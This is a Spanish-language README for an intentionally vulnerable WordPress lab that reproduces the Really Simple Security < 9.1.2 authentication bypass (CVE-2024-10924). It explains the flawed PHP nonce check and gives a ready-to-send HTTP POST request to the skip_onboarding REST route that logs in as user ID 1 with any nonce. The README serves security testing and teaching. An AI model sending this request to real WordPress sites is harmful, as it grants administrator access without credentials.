
ADVERTENCIA: Esta es una aplicación vulnerable para probar el exploit de la omisión de autenticación de Really Simple Security < 9.1.2 (CVE-2024-10924). ¡Ejecútala bajo tu propio riesgo!
Esta es una aplicación vulnerable para probar el exploit de la omisión de autenticación de Really Simple Security < 9.1.2 (CVE-2024-10924).
Esta aplicación contiene vulnerabilidades de seguridad graves. ¡Úsala bajo tu propio riesgo! Se recomienda utilizar un entorno respaldado y aislado (como una máquina virtual con una instantánea reciente y red solo-anfitrión). No subas esta aplicación a servidores expuestos a Internet, ya que se verán comprometidos.
DESCARGO DE RESPONSABILIDAD: No me hago responsable de la forma en que cualquiera use esta aplicación. El único propósito de esta aplicación es ser un escenario de prueba para el exploit de omisión de autenticación de Really Simple Security < 9.1.2 (CVE-2024-10924) y no debe utilizarse de forma malintencionada. Si tu servidor se ve comprometido mediante una instalación de esta aplicación, no es mi responsabilidad, sino de la(s) persona(s) que la subieron e instalaron.
Estos son los pasos para configurar el entorno:
./up.sh para iniciar la composición.El contenedor se llamará vuln-wp-really-simple-security.
Para desmontar el entorno usa el comando ./down.sh o el comando ./down_and_delete.sh para eliminar también las imágenes y el volumen de la base de datos.
Al observar la solución, es posible entender que en la versión vulnerable la función check_login_and_get_user() devolvía un objeto de error, en caso de un nonce de inicio de sesión no válido, sin abortar toda la operación.
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
En el llamador, por cierto, no se realizaba ninguna comprobación sobre la salida de la función check_login_and_get_user() (línea 277), sino que simplemente se continuaba con la función authenticate_and_redirect() (línea 278) usando el mismo valor recibido de la entrada para el ID de usuario.
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
Para explotar la vulnerabilidad, basta una petición como la siguiente.
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Luego, configura las cookies de sesión devueltas en el navegador.
El user_id debe ser el ID del usuario objetivo; el login_nonce puede ser cualquier valor, ya que un valor incorrecto no bloqueará el proceso.
Se puede encontrar un script de exploit en Python aquí.
Este proyecto está licenciado bajo la Unlicense; consulta el archivo LICENSE para más detalles.